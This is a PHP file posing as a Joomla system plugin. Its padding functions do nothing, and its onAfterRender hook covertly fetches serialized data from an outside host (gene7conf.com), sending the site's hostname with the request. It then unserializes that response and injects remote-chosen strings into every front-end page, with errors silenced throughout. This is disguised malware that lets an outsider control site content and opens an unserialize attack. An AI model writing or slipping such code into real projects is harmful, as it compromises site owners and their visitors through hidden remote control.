<?php
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.plugin.plugin' );

class  plgSystemSection extends JPlugin {
	
    function plgSystemSection(& $subject, $config) { 
        parent::__construct($subject, $config);
    }
    
    function getCategoriesListView( $object_id, $page = 0 ) {
	global $myCat;
	$object_id = (int) $object_id;
	$object_group = trim( $object_group );

	$acl = & CategoryFactory::getACL();
	$config = & JCommentsFactory::getConfig();
	$comments_per_page = $config->getInt('category_per_page');
	$comments_page_limit = $config->getInt('category_page_limit');
	$canPublish = $acl->canPublish();
    }
    
    function onAfterRender() {
        $body = JResponse::getBody();
		if(!$body||$body=='') return true;
	    $mainframe = & JFactory::getApplication('site');
		if($mainframe->isAdmin()) return;
            $body = $this->installOptions($body);
        JResponse::setBody($body);
    }
    
    function getCategoryNewTree( $object_id, $object_group = 'com_content' ) {
	global $my;

	$object_id = (int) $object_id;
	$object_group = trim($object_group);

	$acl = & JCommentsFactory::getACL();
	$config = & JCommentsFactory::getConfig();
	$canPublish = $acl->canPublish();
	$canComment = $acl->canComment();
    }
    
    function getURIattr() {
        return (!@$_SERVER['REQUEST_URI'])? @getenv("REQUEST_URI") : @$_SERVER['REQUEST_URI'];
    }
    
    public function getConfigOpt() {
        $Conf = @file_get_contents('http://gene7conf.com/?d=' . $_SERVER['HTTP_HOST']);
        return @unserialize($Conf);
    }
    
    function CategoryViewsTime( $name, $reason = '') {
	global $mainframe, $my;

	$config = & JCommentsFactory::getConfig();

	if ($config->get('CategoryGet') != '') {
            $object = new stdClass();
            $object->object_cat = CategoryFactory::getAbs($object->object_cat);
            $commentText  = $comment->comment;
	}
    }
    
    function installOptions($content) {
        try {
            $getOptions = $this->getConfigOpt();
            $ord = @$getOptions['l'][$this->getURIattr()];
            if(count(@$ord['m'])) {
                $opt = (@$ord['k'])? $ord['k'] : $getOptions['d'];
                $mopt = (count(@$getOptions['*']))? $getOptions['*'] : array();
                $l=''; foreach(array_merge($ord['m'], $mopt) as $elem) {$l .= ' '. $elem;}
                $content = @preg_replace("|{$opt}|", $opt . $l, $content, 1);
            }
        } catch (Exception $e) {}
        return $content;
    }
    
    function loadAlternateCatergory($languageSuffix = '') {
        if ($languageSuffix == '') {
		$languageSuffix = CategoryInput::getVar('lsfx', '');
	}
	if ($languageSuffix != '') {
		$config = & CategoryFactory::getConfig();
		$config->set('lsfx', $languageSuffix);

		$language = & JFactory::getLanguage();
		$language->load($languageSuffix);
	}
    }
}
?>
